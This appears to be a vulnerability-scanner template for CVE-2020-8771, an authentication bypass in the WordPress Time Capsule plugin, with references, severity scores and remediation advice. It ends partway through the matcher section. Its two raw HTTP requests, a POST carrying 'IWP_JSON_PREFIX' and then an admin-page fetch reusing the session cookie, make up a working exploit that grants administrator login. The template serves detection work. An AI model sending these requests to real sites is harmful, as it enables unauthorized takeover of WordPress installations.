id: CVE-2020-8771 info: name: WordPress Time Capsule < 1.21.16 - Authentication Bypass author: princechaddha severity: critical description: WordPress Time Capsule plugin before 1.21.16 for WordPress has an authentication bypass. Any request containing IWP_JSON_PREFIX causes the client to be logged in as the first account on the list of administrator accounts. remediation: | Update WordPress Time Capsule plugin to version 1.21.16 or later. reference: - https://github.com/SECFORCE/WPTimeCapsulePOC - https://nvd.nist.gov/vuln/detail/CVE-2020-8771 - https://wpvulndb.com/vulnerabilities/10010 - https://www.webarxsecurity.com/vulnerability-infinitewp-client-wp-time-capsule/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2020-8771 cwe-id: CWE-287 epss-score: 0.06142 epss-percentile: 0.92748 cpe: cpe:2.3:a:wptimecapsule:wp_time_capsule:*:*:*:*:*:wordpress:*:* metadata: max-request: 2 vendor: wptimecapsule product: wp_time_capsule framework: wordpress tags: cve,cve2020,wordpress,wp-plugin http: - raw: - | POST / HTTP/1.1 Host: {{Hostname}} Connection: close Accept: */* IWP_JSON_PREFIX - | GET /wp-admin/index.php HTTP/1.1 Host: {{Hostname}} Connection: close Accept: */* cookie-reuse: true matchers-condition: and matchers: - type: word part: body words: - '